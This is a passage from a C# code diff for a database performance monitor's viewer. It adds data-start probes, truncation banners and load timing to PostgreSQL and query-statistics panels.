         PgLockStatsGrid.ItemsSource = PgDisplay.LockStatRows(rows);
+        UpdateTruncationBanner(PgLockStatsDataStartBanner, await DataStartOrNullAsync(dataStartTask, "PostgreSQL Lock Stats"), startUtc);
 
         var queued = rows.Where(r => !r.Granted).ToList();
         var totalCaptures = rows.Count == 0 ? 0 : rows[0].TotalCaptures;
@@ -447,10 +487,16 @@ private async Task LoadPgWaitSamplingAsync(DateTime startUtc, DateTime endUtc)
         {
             PgWaitSamplingGrid.ItemsSource = null;
             PgWaitSamplingNote.Text = PanelNote("pg_wait_sampling", 0, string.Empty);
+            PgWaitSamplingDataStartBanner.Visibility = Visibility.Collapsed;
             return;
         }
 
-        var rows = await _dataService.GetPgWaitSamplingAsync(_server.ServerId, startUtc, endUtc, PgGridRowLimit);
+        using var readFanOut = ViewerReadFanOut.Of(2);
+        var dataStartTask = StartPgDataStartProbe("pg_wait_sampling", startUtc, endUtc);
+        var rowsTask = _dataService.GetPgWaitSamplingAsync(_server.ServerId, startUtc, endUtc, PgGridRowLimit);
+        await AwaitReadWatchingProbeAsync(rowsTask, dataStartTask, "PostgreSQL Wait Sampling");
+        var rows = rowsTask.Result;
+        readFanOut.Release();
         /* #3604: the arm that fed the grid, off the collector's own state — the same disclosure the MCP read
            makes, because the same table now holds two grains and the note is where this panel says which. */
         var instrument = await _dataService.GetPgWaitInstrumentAsync(_server.ServerId);
@@ -458,6 +504,7 @@ private async Task LoadPgWaitSamplingAsync(DateTime startUtc, DateTime endUtc)
             && string.Equals(instrument.Instrument, PgWaitInstrument.ServiceSampled, StringComparison.Ordinal);
 
         PgWaitSamplingGrid.ItemsSource = PgDisplay.WaitSamplingRows(rows);
+        UpdateTruncationBanner(PgWaitSamplingDataStartBanner, await DataStartOrNullAsync(dataStartTask, "PostgreSQL Wait Sampling"), startUtc);
 
         var attributed = rows.Count(r => r.QueryId != 0);
         var reset = rows.Any(r => r.CounterReset);
@@ -506,12 +553,19 @@ private async Task LoadPgKernelStatsAsync(DateTime startUtc, DateTime endUtc)
         {
             PgKernelStatsGrid.ItemsSource = null;
             PgKernelStatsNote.Text = PanelNote("pg_kernel_stats", 0, string.Empty);
+            PgKernelStatsDataStartBanner.Visibility = Visibility.Collapsed;
             return;
         }
 
-        var rows = await _dataService.GetPgKernelStatsAsync(_server.ServerId, startUtc, endUtc, PgGridRowLimit);
+        using var readFanOut = ViewerReadFanOut.Of(2);
+        var dataStartTask = StartPgDataStartProbe("pg_kernel_stats", startUtc, endUtc);
+        var rowsTask = _dataService.GetPgKernelStatsAsync(_server.ServerId, startUtc, endUtc, PgGridRowLimit);
+        await AwaitReadWatchingProbeAsync(rowsTask, dataStartTask, "PostgreSQL Kernel Stats");
+        var rows = rowsTask.Result;
+        readFanOut.Release();
 
         PgKernelStatsGrid.ItemsSource = rows;
+        UpdateTruncationBanner(PgKernelStatsDataStartBanner, await DataStartOrNullAsync(dataStartTask, "PostgreSQL Kernel Stats"), startUtc);
 
         var reset = rows.Any(r => r.CounterReset);
 
@@ -548,7 +602,7 @@ private async Task LoadPgPredicateStatsAsync(DateTime startUtc, DateTime endUtc)
 
         var rows = await _dataService.GetPgPredicateStatsAsync(_server.ServerId, startUtc, endUtc, PgGridRowLimit);
 
-        PgPredicateStatsGrid.ItemsSource = rows;
+        PgPredicateStatsGrid.ItemsSource = rows.Select(PgDisplay.PredicateStat).ToList();
 
         var sampled = rows.Count == 0 ? 1.0 : rows[0].SampleRate;
         var misestimated = rows.Count(r => r.WorstEstimateErrorRatio >= 10);
@@ -580,12 +634,19 @@ private async Task LoadPgPlanCaptureAsync(DateTime startUtc, DateTime endUtc)
         {
             PgCapturedPlansGrid.ItemsSource = null;
             PgCapturedPlansNote.Text = PanelNote("pg_plan_capture", 0, string.Empty);
+            PgCapturedPlansDataStartBanner.Visibility = Visibility.Collapsed;
             return;
         }
 
-        var rows = await _dataService.GetPgPlanCaptureAsync(_server.ServerId, startUtc, endUtc, PgGridRowLimit);
+        using var readFanOut = ViewerReadFanOut.Of(2);
+        var dataStartTask = StartPgDataStartProbe("pg_plan_capture", startUtc, endUtc);
+        var rowsTask = _dataService.GetPgPlanCaptureAsync(_server.ServerId, startUtc, endUtc, PgGridRowLimit);
+        await AwaitReadWatchingProbeAsync(rowsTask, dataStartTask, "PostgreSQL Captured Plans");
+        var rows = rowsTask.Result;
+        readFanOut.Release();
 
         PgCapturedPlansGrid.ItemsSource = rows;
+        UpdateTruncationBanner(PgCapturedPlansDataStartBanner, await DataStartOrNullAsync(dataStartTask, "PostgreSQL Captured Plans"), startUtc);
 
         var orphans = rows.Count(r => r.QueryId == 0);
 
@@ -628,12 +689,20 @@ private async Task LoadPgDeadlocksAsync(DateTime startUtc, DateTime endUtc)
         {
             PgDeadlocksGrid.ItemsSource = null;
             PgDeadlocksNote.Text = PanelNote("pg_deadlocks", 0, string.Empty);
+            PgDeadlocksDataStartBanner.Visibility = Visibility.Collapsed;
             return;
         }
 
-        var rows = await _dataService.GetPgDeadlocksAsync(_server.ServerId, startUtc, endUtc);
+        using var readFanOut = ViewerReadFanOut.Of(2);
+        var dataStartTask = StartPgDataStartProbe("pg_deadlocks", startUtc, endUtc);
+        var rowsTask = _dataService.GetPgDeadlocksAsync(_server.ServerId, startUtc, endUtc);
+        await AwaitReadWatchingProbeAsync(rowsTask, dataStartTask, "PostgreSQL Deadlocks");
+        var rows = rowsTask.Result;
+        readFanOut.Release();
 
         PgDeadlocksGrid.ItemsSource = rows;
+        await ShowEventDataStartAsync(PgDeadlocksDataStartBanner, dataStartTask, "PostgreSQL Deadlocks", startUtc,
+            rows.Select(r => (DateTime?)r.OccurredAtUtc), ViewerDataService.PgDeadlocksRowCap);
 
         PgDeadlocksNote.Text = PanelNote("pg_deadlocks", rows.Count,
             "No deadlock was reported in this window. That is the healthy answer, and it is also what an "
@@ -660,7 +729,8 @@ private async Task LoadPgVacuumAsync()
     {
         var (startUtc, endUtc) = GetWindowUtc();
 
-        using var readFanOut = ViewerReadFanOut.Of(5);
+        /* Five reads, and the three data-start probes (#4966) started beside them: priced together. */
+        using var readFanOut = ViewerReadFanOut.Of(8);
 
         var sessionsTask = _dataService.GetPgSessionStatesAsync(_server.ServerId, startUtc, endUtc, PgGridRowLimit);
         var xminTask = _dataService.GetPgXminHorizonAsync(_server.ServerId, startUtc, endUtc);
@@ -668,7 +738,26 @@ private async Task LoadPgVacuumAsync()
         var wraparoundTask = _dataService.GetPgWraparoundAsync(_server.ServerId, startUtc, endUtc);
         var planCaptureTask = _dataService.GetPgPlanCaptureReadinessAsync(_server.ServerId, startUtc, endUtc, PgGridRowLimit);
 
-        await Task.WhenAll(sessionsTask, xminTask, autovacuumTask, wraparoundTask, planCaptureTask);
+        /* #4966: where each grid's table starts, kept OUT of the WhenAll so a probe that throws costs only its banner. */
+        var sessionsStartTask = PgCollectorIsGatedOff("pg_session_states") ? Task.FromResult<DateTime?>(null) : StartPgDataStartProbe("pg_session_states", startUtc, endUtc);
+        var xminStartTask = StartPgDataStartProbe("pg_xmin_horizon", startUtc, endUtc);
+        var autovacuumStartTask = StartPgDataStartProbe("pg_autovacuum_stats", startUtc, endUtc);
+
+        /* #5022: a join that throws skips the banner step, so each probe is watched (nested: one helper call per probe). */
+        await AwaitReadWatchingProbeAsync(
+            AwaitReadWatchingProbeAsync(
+                AwaitReadWatchingProbeAsync(
+                    Task.WhenAll(sessionsTask, xminTask, autovacuumTask, wraparoundTask, planCaptureTask),
+                    sessionsStartTask, "PostgreSQL Session States"),
+                xminStartTask, "PostgreSQL Xmin Horizon"),
+            autovacuumStartTask, "PostgreSQL Autovacuum");
+
+        /* Released before the first banner await: the reads and probes are done or detached by here. */
+        readFanOut.Release();
+
+        UpdateTruncationBanner(PgSessionStatesDataStartBanner, await DataStartOrNullAsync(sessionsStartTask, "PostgreSQL Session States"), startUtc);
+        UpdateTruncationBanner(PgXminDataStartBanner, await DataStartOrNullAsync(xminStartTask, "PostgreSQL Xmin Horizon"), startUtc);
+        UpdateTruncationBanner(PgAutovacuumDataStartBanner, await DataStartOrNullAsync(autovacuumStartTask, "PostgreSQL Autovacuum"), startUtc);
 
         PgSessionStatesGrid.ItemsSource = sessionsTask.Result.Select(PgDisplay.SessionState).ToList();
 
@@ -708,18 +797,7 @@ so a transaction that opened and closed between two captures left no trace to fi
         PgWraparoundNote.Text = PanelNote("pg_wraparound_stats", wraparoundTask.Result.Count,
             "No per-database freeze headroom has been collected in this window.");
 
-        PgPlanCaptureGrid.ItemsSource = planCaptureTask.Result
-            .Select(r => new
-            {
-                r.Facet,
-                /* Rendered as words, not a checkbox or a bare bool. The reader is being told whether a
-                   PRECONDITION holds, and "False" beside a remedy sentence reads as a failure rather than as
-                   a step not yet taken. */
-                Satisfied = r.IsSatisfied ? "yes" : "no",
-                Observed = r.Observed ?? "(not reported)",
-                Detail = r.Detail ?? string.Empty,
-            })
-            .ToList();
+        PgPlanCaptureGrid.ItemsSource = planCaptureTask.Result.Select(PgDisplay.PlanCapture).ToList();
 
         /* Three states, and they are genuinely different answers. Gated off is the engine sentence. Zero
            rows means the collector has not run yet on a server that only just started collecting - NOT that
@@ -771,10 +849,17 @@ private async Task LoadPgWaitsAsync()
     {
         var (startUtc, endUtc) = GetWindowUtc();
 
-        var rows = PgCollectorIsGatedOff("pg_wait_stats")
-            ? new List<DarlingPgWaitReader.PgWaitRow>()
-            : await _dataService.GetPgWaitStatsAsync(_server.ServerId, startUtc, endUtc, PgGridRowLimit);
+        var waitsGatedOff = PgCollectorIsGatedOff("pg_wait_stats");
+        using var readFanOut = ViewerReadFanOut.Of(2);
+        var dataStartTask = waitsGatedOff ? Task.FromResult<DateTime?>(null) : StartPgDataStartProbe("pg_wait_stats", startUtc, endUtc);
+        var rowsTask = waitsGatedOff
+            ? Task.FromResult(new List<DarlingPgWaitReader.PgWaitRow>())
+            : _dataService.GetPgWaitStatsAsync(_server.ServerId, startUtc, endUtc, PgGridRowLimit);
+        await AwaitReadWatchingProbeAsync(rowsTask, dataStartTask, "PostgreSQL Wait Stats");
+        var rows = rowsTask.Result;
+        readFanOut.Release();
 
+        UpdateTruncationBanner(PgWaitStatsDataStartBanner, await DataStartOrNullAsync(dataStartTask, "PostgreSQL Wait Stats"), startUtc);
         PgWaitStatsGrid.ItemsSource = rows.Select(PgDisplay.Wait).ToList();
         PgWaitsNote.Text = PanelNote("pg_wait_stats", rows.Count,
             "No wait time was recorded for this server in this window.");
@@ -787,9 +872,15 @@ private async Task LoadPgIoAsync()
     {
         var (startUtc, endUtc) = GetWindowUtc();
 
-        var rows = await _dataService.GetPgIoAsync(_server.ServerId, startUtc, endUtc, PgGridRowLimit);
+        using var readFanOut = ViewerReadFanOut.Of(2);
+        var dataStartTask = StartPgDataStartProbe("pg_io_stats", startUtc, endUtc);
+        var rowsTask = _dataService.GetPgIoAsync(_server.ServerId, startUtc, endUtc, PgGridRowLimit);
+        await AwaitReadWatchingProbeAsync(rowsTask, dataStartTask, "PostgreSQL I/O Stats");
+        var rows = rowsTask.Result;
+        readFanOut.Release();
 
         PgIoStatsGrid.ItemsSource = PgDisplay.IoRows(rows);
+        UpdateTruncationBanner(PgIoStatsDataStartBanner, await DataStartOrNullAsync(dataStartTask, "PostgreSQL I/O Stats"), startUtc);
         PgIoNote.Text = PanelNote("pg_io_stats", rows.Count,
             "No backend / object / context combination did any I/O in this window. This view needs "
             + "PostgreSQL 16 or newer, where pg_stat_io exists; below that the collector does not run and "
@@ -818,7 +909,7 @@ private async Task LoadPgBufferUsageAsync(DateTime startUtc, DateTime endUtc)
 
         var rows = await _dataService.GetPgBufferUsageAsync(_server.ServerId, startUtc, endUtc, PgGridRowLimit);
 
-        PgBufferUsageGrid.ItemsSource = rows;
+        PgBufferUsageGrid.ItemsSource = rows.Select(PgDisplay.BufferUsage).ToList();
 
         var total = rows.Count == 0 ? 0L : rows[0].PoolBuffersTotal;
         var used = rows.Count == 0 ? 0L : rows[0].PoolBuffersUsed;
@@ -852,12 +943,15 @@ private async Task LoadPgWriteStatsAsync(DateTime startUtc, DateTime endUtc)
         {
             PgWriteStatsGrid.ItemsSource = null;
             PgWriteStatsNote.Text = PanelNote("pg_write_stats", 0, string.Empty);
+            PgWriteStatsDataStartBanner.Visibility = Visibility.Collapsed;
             return;
         }
 
         var row = await _dataService.GetPgWriteStatsAsync(_server.ServerId, startUtc, endUtc);
 
         PgWriteStatsGrid.ItemsSource = row is null ? null : PgDisplay.WriteStatsRows(row);
+        /* #4966: the row already holds the window's first sample (WindowStartUtc), so it is the coverage start and needs no probe. */
+        UpdateTruncationBanner(PgWriteStatsDataStartBanner, row?.WindowStartUtc, startUtc);
         PgWriteStatsNote.Text = row is null
             ? "Write-side counters need TWO collections before a change exists between them, so a server "
               + "added in the last cycle has nothing here yet. This is not the same as a quiet server, "
@@ -913,12 +1007,19 @@ private async Task LoadPgReplicationStatsAsync(DateTime startUtc, DateTime endUt
         {
             PgReplicationStatsGrid.ItemsSource = null;
             PgReplicationStatsNote.Text = PanelNote("pg_replication_stats", 0, string.Empty);
+            PgReplicationStatsDataStartBanner.Visibility = Visibility.Collapsed;
             return;
         }
 
-        var rows = await _dataService.GetPgReplicationStatsAsync(_server.ServerId, startUtc, endUtc, PgGridRowLimit);
+        using var readFanOut = ViewerReadFanOut.Of(2);
+        var dataStartTask = StartPgDataStartProbe("pg_replication_stats", startUtc, endUtc);
+        var rowsTask = _dataService.GetPgReplicationStatsAsync(_server.ServerId, startUtc, endUtc, PgGridRowLimit);
+        await AwaitReadWatchingProbeAsync(rowsTask, dataStartTask, "PostgreSQL Replication Stats");
+        var rows = rowsTask.Result;
+        readFanOut.Release();
 
         PgReplicationStatsGrid.ItemsSource = PgDisplay.ReplicationStatRows(rows);
+        UpdateTruncationBanner(PgReplicationStatsDataStartBanner, await DataStartOrNullAsync(dataStartTask, "PostgreSQL Replication Stats"), startUtc);
 
         var worst = rows.Count == 0 ? 0L : rows.Max(r => r.WorstReplayBytesBehind ?? 0L);
         var flapping = rows.Count(r => r.TotalSamples > 0 && r.Samples < r.TotalSamples);
@@ -954,16 +1055,28 @@ private async Task LoadPgStorageAsync()
     {
         var (startUtc, endUtc) = GetWindowUtc();
 
-        using var readFanOut = ViewerReadFanOut.Of(2);
+        /* Two reads, and the two data-start probes (#4966) started beside them: priced together. */
+        using var readFanOut = ViewerReadFanOut.Of(4);
 
         var bloatTask = _dataService.GetPgTableBloatAsync(_server.ServerId, startUtc, endUtc, PgGridRowLimit);
         var indexTask = _dataService.GetPgIndexUsageAsync(_server.ServerId, startUtc, endUtc, PgGridRowLimit);
 
-        await Task.WhenAll(bloatTask, indexTask);
+        var bloatStartTask = PgCollectorIsGatedOff("pg_table_bloat_stats") ? Task.FromResult<DateTime?>(null) : StartPgDataStartProbe("pg_table_bloat_stats", startUtc, endUtc);
+        var indexStartTask = PgCollectorIsGatedOff("pg_index_usage_stats") ? Task.FromResult<DateTime?>(null) : StartPgDataStartProbe("pg_index_usage_stats", startUtc, endUtc);
+
+        /* #5022: a join that throws skips the banner step, so each probe is watched. */
+        await AwaitReadWatchingProbeAsync(
+            AwaitReadWatchingProbeAsync(
+                Task.WhenAll(bloatTask, indexTask),
+                bloatStartTask, "PostgreSQL Table Bloat"),
+            indexStartTask, "PostgreSQL Index Usage");
 
-        /* Released here — the three sub-tab loads at the end of this method do not contend with these two. */
+        /* Released here, before any banner await. */
         readFanOut.Release();
 
+        UpdateTruncationBanner(PgTableBloatDataStartBanner, await DataStartOrNullAsync(bloatStartTask, "PostgreSQL Table Bloat"), startUtc);
+        UpdateTruncationBanner(PgIndexUsageDataStartBanner, await DataStartOrNullAsync(indexStartTask, "PostgreSQL Index Usage"), startUtc);
+
         var bloat = bloatTask.Result;
         var indexes = indexTask.Result;
 
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.PostgresDataStart.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.PostgresDataStart.cs
new file mode 100644
index 0000000000..1182ec107b
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.PostgresDataStart.cs
@@ -0,0 +1,40 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Threading.Tasks;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Storage;
+
+namespace PerformanceMonitor.Darling.Viewer;
+
+public partial class ViewerServerTab
+{
+    /// <summary>
+    /// Starts the "where does this grid's data start" probe for a PostgreSQL collector (#4966), beside the grid's read. The
+    /// caller awaits it after the grid is drawn, through <see cref="DataStartOrNullAsync"/> or <see cref="ShowEventDataStartAsync"/>,
+    /// and never inside the read's <c>Task.WhenAll</c>: a probe that throws then costs the banner and not the rows.
+    ///
+    /// <para>Returns a completed null for a window no longer than <see cref="DurationTrendRouting.TruncationSlack"/> (90 minutes):
+    /// no banner can show for one, so it runs no query. Takes the collector's name and reads its table from
+    /// <see cref="CollectorCatalog.All"/>, because the two differ (<c>pg_blocking</c> writes <c>pg_blocking_edges</c>).</para>
+    /// </summary>
+    private Task<DateTime?> StartPgDataStartProbe(string collectorName, DateTime startUtc, DateTime endUtc)
+    {
+        if (endUtc - startUtc <= DurationTrendRouting.TruncationSlack)
+        {
+            return Task.FromResult<DateTime?>(null);
+        }
+
+        var collector = CollectorCatalog.All.FirstOrDefault(c => string.Equals(c.Name, collectorName, StringComparison.Ordinal));
+        return collector is null
+            ? Task.FromResult<DateTime?>(null)
+            : _dataService.GetPgDataStartAsync(collector.TargetTable, _server.ServerId, startUtc, endUtc);
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.ProbeWatch.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.ProbeWatch.cs
new file mode 100644
index 0000000000..0abe6ab09a
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.ProbeWatch.cs
@@ -0,0 +1,52 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Threading.Tasks;
+
+namespace PerformanceMonitor.Darling.Viewer;
+
+public partial class ViewerServerTab
+{
+    /// <summary>
+    /// Awaits a load's main read, started beside its data-start probe, and watches the probe if that read throws (#5022). A load
+    /// awaits its probe only at the banner step, after the read; a read that throws unwinds past that step, and the probe task is then
+    /// never awaited, so a probe that fails later reaches <c>App.OnUnobservedTaskException</c> and is logged as an Error. The probe is
+    /// only the "Showing since" note, so its failure is a warning (<see cref="DataStartAnswerAsync"/> logs it as one), and the read's
+    /// own exception goes on to the shell's handler as before. A read that succeeds leaves the probe to the banner step.
+    /// </summary>
+    /// <param name="read">The load's main read: one read, or the join of several.</param>
+    /// <param name="probe">The data-start probe the tab started beside the read.</param>
+    /// <param name="surface">The surface the probe's warning names.</param>
+    /// <param name="warn">Takes the log source and message of a failed probe; <see cref="ViewerLogger.Warn"/> by default.</param>
+    internal static Task AwaitReadWatchingProbeAsync(Task read, Task<DateTime?> probe, string surface, Action<string, string>? warn = null)
+        => ViewerProbeWatch.AwaitReadWatchingProbeAsync(read, probe, surface, warn);
+}
+
+/// <summary>
+/// The body of <see cref="ViewerServerTab.AwaitReadWatchingProbeAsync"/>, outside the tab so a window that is not a server tab (the Collection Log drill) shares it.
+/// </summary>
+internal static class ViewerProbeWatch
+{
+    internal static async Task AwaitReadWatchingProbeAsync(Task read, Task<DateTime?> probe, string surface, Action<string, string>? warn = null)
+    {
+        ArgumentNullException.ThrowIfNull(read);
+        ArgumentNullException.ThrowIfNull(probe);
+
+        try
+        {
+            await read;
+        }
+        catch
+        {
+            /* Not awaited: DataStartAnswerAsync catches the probe's failure and logs it, so the task it returns cannot fault. */
+            _ = ViewerServerTab.DataStartAnswerAsync(probe, surface, warn);
+            throw;
+        }
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Queries.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Queries.cs
index 100ecd2841..5771197fe1 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Queries.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Queries.cs
@@ -9,8 +9,10 @@
 using System;
 using System.Collections.Generic;
 using System.ComponentModel;
+using System.Linq;
 using System.Threading.Tasks;
 using System.Windows;
+using PerformanceMonitor.Ui;
 using System.Windows.Controls;
 using PerformanceMonitor.Common;
 using PerformanceMonitor.Darling.Storage;
@@ -129,7 +131,7 @@ private async void QueriesSubTabs_SelectionChanged(object sender, SelectionChang
     /// Procedures / Query Store each read their grid + slicer + comparison over the toolbar's settable window.
     /// The shell's <see cref="LoadInnerTabAsync"/> owns the try/catch that surfaces failures.
     /// </summary>
-    private async Task LoadQueriesAsync()
+    private async Task LoadQueriesAsync(ViewerLoadTimer? timer = null)
     {
         var (startUtc, endUtc) = GetWindowUtc();
 
@@ -147,10 +149,10 @@ private async Task LoadQueriesAsync()
                    its last snapshot / hint until then. */
                 break;
             case TopProceduresSubTabIndex:
-                await LoadTopProceduresAsync(startUtc, endUtc);
+                await LoadTopProceduresAsync(startUtc, endUtc, timer);
                 break;
             case QueryStoreSubTabIndex:
-                await LoadQueryStoreAsync(startUtc, endUtc);
+                await LoadQueryStoreAsync(startUtc, endUtc, timer);
                 break;
             case QueryStoreRegressionsSubTabIndex:
                 await LoadQueryStoreRegressionsAsync(startUtc, endUtc);
@@ -166,56 +168,144 @@ its last snapshot / hint until then. */
                 break;
             case TopQueriesSubTabIndex:
             default:
-                await LoadTopQueriesAsync(startUtc, endUtc);
+                await LoadTopQueriesAsync(startUtc, endUtc, timer);
                 break;
         }
     }
 
-    private async Task LoadTopQueriesAsync(DateTime startUtc, DateTime endUtc)
+    /// <summary>Walk finding D15: hands a started store read to a load's phase clock (<see cref="ViewerLoadTimer"/>) and back
+    /// unchanged. #5555: the clock is the one <see cref="LoadInnerTabAsync"/> passes down to the loader it calls, never a field,
+    /// so a read that starts outside that load (a Daily Summary drill, a slicer drag) passes null and is the task itself: it can
+    /// not land in another load's line or rename it.</summary>
+    internal static Task<T> Timed<T>(ViewerLoadTimer? timer, string phase, Task<T> read) => timer?.Track(phase, read) ?? read;
+
+    private async Task LoadTopQueriesAsync(DateTime startUtc, DateTime endUtc, ViewerLoadTimer? timer = null)
     {
-        var floorTask = _dataService.GetQueryStatsWindowFloorAsync(_server.ServerId, startUtc, endUtc);
-        var (rows, tier) = await _dataService.GetTopQueriesByCpuTierAsync(_server.ServerId, startUtc, endUtc, databaseNames: SelectedDatabaseFilter);
-        _queryStatsFilterMgr!.UpdateData(rows);
-        SetDefaultSortIfNone(QueryStatsGrid, "TotalElapsedMs", ListSortDirection.Descending);
-        /* #4231 stage 3: an hourly-routed page holds no per-caller detail (see
-           ViewerDataService.GetTopQueriesByCpuTierAsync) — the raw-floor banner (#4231 stage 1/2) and this
-           tier disclosure are independent facts, so both may show at once (a window aged past raw AND
-           routed to hourly). */
-        UpdateTruncationBanner(QueryStatsTruncationBanner, await floorTask, startUtc, tier == "hourly" ? HourlyTierSuffix : null);
-        await LoadQueryStatsSlicerAsync(startUtc, endUtc);
-        await RefreshQueryStatsComparisonAsync(startUtc, endUtc);
+        timer?.Surface = "Queries > Top Queries by Duration";
+        var floorTask = Timed(timer, "data start", _dataService.GetQueryStatsWindowFloorAsync(_server.ServerId, startUtc, endUtc));
+        var dataReadTask = Timed(timer, "grid read", _dataService.GetTopQueriesByCpuRoutedAsync(_server.ServerId, startUtc, endUtc, databaseNames: SelectedDatabaseFilter));
+        /* Walk finding D15: the slicer's read does not depend on the grid's, so it starts beside it and is awaited after the grid
+           is bound. It used to start only once the grid read was in, which put its whole round trip behind the grid's. */
+        var slicerTask = Timed(timer, "slicer read", _dataService.GetQueryStatsSlicerDataAsync(_server.ServerId, startUtc, endUtc, databaseNames: SelectedDatabaseFilter));
+        try
+        {
+            await AwaitReadWatchingProbeAsync(dataReadTask, floorTask, "Query Stats");
+            var read = dataReadTask.Result;
+            var rows = read.Rows;
+            _queryStatsFilterMgr!.UpdateData(rows);
+            SetDefaultSortIfNone(QueryStatsGrid, "TotalElapsedMs", ListSortDirection.Descending);
+            /* #4231 stage 3: an hourly-routed page holds no per-caller detail (see
+               ViewerDataService.GetTopQueriesByCpuTierAsync) — the raw-floor banner (#4231 stage 1/2) and this
+               tier disclosure are independent facts, so both may show at once (a window aged past raw AND
+               routed to hourly). */
+            UpdateTruncationBanner(QueryStatsTruncationBanner, await DataStartOrNullAsync(floorTask, "Query Stats"), startUtc, HourlyBannerSuffix(read.Tier, read.IoRoute, read.HourlyEdgesNote), HourlyServedOf(read.Tier, read.HourlyFirstBucket));
+            await LoadQueryStatsSlicerAsync(startUtc, endUtc, slicerTask);
+        }
+        catch
+        {
+            /* #5555: the grid's own error is the one the user sees, and at once. The slicer read is still observed, so a
+               fault in it is not left unobserved, but nothing waits for it. */
+            _ = ViewerDataService.ObserveAsync(slicerTask);
+            throw;
+        }
+
+        await RefreshQueryStatsComparisonAsync(startUtc, endUtc, timer);
     }
 
     /// <summary>#4231 stage 3: the Queries-tab grid header's hourly-routing disclosure — appended to the
     /// existing "Showing since" banner (#4278) rather than a new widget, per the lane's ruling.</summary>
-    private const string HourlyTierSuffix = " — aggregated hourly, per-caller detail unavailable";
+    private const string HourlyTierSuffix = " — aggregated hourly: per-caller detail, reads, writes, spills and min/max CPU and duration are not kept, so they show blank";
 
-    private async Task LoadTopProceduresAsync(DateTime startUtc, DateTime endUtc)
+    /// <summary>#5329: the same disclosure when the io hourly rollup served the grid: it keeps logical reads, physical reads
+    /// and logical writes (the grid fills them), so those are not named as blank.</summary>
+    private const string HourlyIoTierSuffix = " — aggregated hourly: per-caller detail, spills and min/max CPU and duration are not kept, so they show blank";
+
+    /// <summary>
+    /// #5329: the banner suffix an hourly-routed grid carries: <see cref="HourlyTierSuffix"/> plus the window's real edges
+    /// (<see cref="ViewerDataService.HourlyEdgesNote"/>, the MCP tools' own text: the hourly rollup starts on the hour, a
+    /// rollup that starts after the window's start, and a materialization ceiling before its end). Null for a raw read, so
+    /// the raw route's banner is unchanged. A hourly read whose edges did not move carries the tier suffix alone.
+    /// </summary>
+    internal static string? HourlyBannerSuffix(string tier, bool ioRoute, string? edgesNote)
     {
-        var floorTask = _dataService.GetProcedureStatsWindowFloorAsync(_server.ServerId, startUtc, endUtc);
-        var (rows, tier) = await _dataService.GetTopProceduresByCpuTierAsync(_server.ServerId, startUtc, endUtc, databaseNames: SelectedDatabaseFilter);
-        _procStatsFilterMgr!.UpdateData(rows);
-        SetDefaultSortIfNone(ProcedureStatsGrid, "TotalElapsedMs", ListSortDirection.Descending);
-        /* #4231 stage 3b: an hourly-routed page holds no object_type/sql_handle/plan_handle — the raw-floor
-           banner and this tier disclosure are independent facts, same reasoning as the Queries sub-tab. */
-        UpdateTruncationBanner(ProcStatsTruncationBanner, await floorTask, startUtc, tier == "hourly" ? HourlyTierSuffix : null);
-        await LoadProcStatsSlicerAsync(startUtc, endUtc);
-        await RefreshProcStatsComparisonAsync(startUtc, endUtc);
+        if (tier != "hourly")
+        {
+            return null;
+        }
+
+        var suffix = ioRoute ? HourlyIoTierSuffix : HourlyTierSuffix;
+        return string.IsNullOrEmpty(edgesNote) ? suffix : $"{suffix}. Window edges: {edgesNote}";
     }
 
-    private async Task LoadQueryStoreAsync(DateTime startUtc, DateTime endUtc)
+    /// <summary>
+    /// #5329: what an hourly-routed grid really covers, for <see cref="UpdateTruncationBanner"/>. The grid sums the rollup
+    /// buckets this server holds, so its start is <paramref name="FirstBucket"/> (per server, null when none), not the raw
+    /// table's floor, which only the slicer and the comparison read.
+    /// </summary>
+    internal readonly record struct HourlyServed(DateTime? FirstBucket);
+
+    /// <summary>The <see cref="HourlyServed"/> of a routed read, or null for a raw one (whose banner names raw's floor).</summary>
+    internal static HourlyServed? HourlyServedOf(string tier, DateTime? firstBucket) =>
+        tier == "hourly" ? new HourlyServed(firstBucket) : null;
+
+    private async Task LoadTopProceduresAsync(DateTime startUtc, DateTime endUtc, ViewerLoadTimer? timer = null)
     {
-        var floorTask = _dataService.GetQueryStoreWindowFloorAsync(_server.ServerId, startUtc, endUtc);
+        timer?.Surface = "Queries > Top Procedures by Duration";
+        var floorTask = Timed(timer, "data start", _dataService.GetProcedureStatsWindowFloorAsync(_server.ServerId, startUtc, endUtc));
+        var dataReadTask = Timed(timer, "grid read", _dataService.GetTopProceduresByCpuRoutedAsync(_server.ServerId, startUtc, endUtc, databaseNames: SelectedDatabaseFilter));
+        var slicerTask = Timed(timer, "slicer read", _dataService.GetProcStatsSlicerDataAsync(_server.ServerId, startUtc, endUtc, databaseNames: SelectedDatabaseFilter));
+        try
+        {
+            await AwaitReadWatchingProbeAsync(dataReadTask, floorTask, "Procedure Stats");
+            var read = dataReadTask.Result;
+            var rows = read.Rows;
+            _procStatsFilterMgr!.UpdateData(rows);
+            SetDefaultSortIfNone(ProcedureStatsGrid, "TotalElapsedMs", ListSortDirection.Descending);
+            /* #4231 stage 3b: an hourly-routed page holds no object_type/sql_handle/plan_handle — the raw-floor
+               banner and this tier disclosure are independent facts, same reasoning as the Queries sub-tab. */
